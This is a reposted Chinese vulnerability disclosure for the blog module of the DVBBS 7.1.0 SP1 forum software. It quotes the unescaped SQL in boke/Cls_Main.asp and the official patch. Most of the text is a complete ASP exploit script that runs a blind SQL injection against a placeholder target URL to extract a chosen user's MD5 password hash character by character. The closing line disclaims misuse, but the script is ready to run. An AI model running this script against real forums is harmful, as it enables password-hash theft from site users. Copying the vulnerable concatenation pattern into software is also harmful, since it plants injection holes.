DVBBS 7.1.0 SP1 博客漏洞

来源:互联网 发布:企业网络规划设计方案 编辑:程序博客网 时间:2024/05/10 00:16


转述如下:
boke/Cls_Main.asp 未过滤“'”,可以产生以下问题:

Sql = "Select UserID,UserName,NickName,BokeName,PassWord,BokeTitle,BokeChildTitle,BokeNote,JoinBokeTime,PageView,TopicNum,FavNum,PhotoNum,PostNum,TodayNum,Trackbacks,SpaceSize,XmlData,SysCatID,BokeSetting,LastUpTime,SkinID,Stats,S.S_SkinName,S.S_Path,S.S_ViewPic,S.S_Info,S.S_Builder From [Dv_Boke_User] U Inner Join [Dv_Boke_Skins] S On U.SkinID = S.S_ID"
Sql = Lcase(Sql)
If BokeName<>"" Then
Sql = Sql & " where BokeName = '"&BokeName&"'"
ElseIf BokeUserID>0 Then
Sql = Sql & " where UserID = "&BokeUserID
Else
'请选取相关的DVBOKE,返回综合列表
Exit Sub
End If

官方补丁已经出现
boke/Cls_Main.asp 加入了以下代码
ArchiveLink = Replace(ArchiveLink,"'","")

利用脚本:
<br><br>
<br><br>
<br><br>
<center>
<div align='left' style="width:500px;font-size:12px;">
<%
'==================================================
'
'请将
http://www.target.com/boke.asp 修改为有漏洞的URL
' 将 admin 改为您要读取密码的用户ID
'
'==================================================
Server.ScriptTimeout=300
Response.Buffer = True
Dim hehefulsh
Dim charhex,OpenURL,templen,tempstr,newgetlen,theoffset,theURL,TheUser
Set hehefulsh = CreateObject("Microsoft.XMLHTTP")
charhex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")
tempstr=""

for total=0 to 15
for theoffset=0 to 15
templen=0
OpenURL="
http://www.target.com/boke.asp?admin'and'" & tempstr & charhex(theoffset) & "'=left(password," &total+1& ")and''='.index.html.index.html"
hehefulsh.Open "Get",OpenURL, False, "", ""
hehefulsh.Send
GetPage = BytesToBstr(hehefulsh.ResponseBody)
If InStr(GetPage,"该博客用户不存在或填写的资料有误!")=0 Then
tempstr=tempstr & charhex(theoffset)
response.write "前" & total+1 & "位MD5值为:" & tempstr & " 其他密码正在读取中,请等待。。。<BR>"
Response.Flush
Exit for
End if
Next
Next
response.write "<br><br><br>成功读取密码的MD5值,为:" & tempstr & " <BR><BR><BR>请不要使用本程序进行破坏行为!"
Set hehefulsh = Nothing

Function BytesToBstr(body)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function

%>
</div>
</center>

原创粉丝点击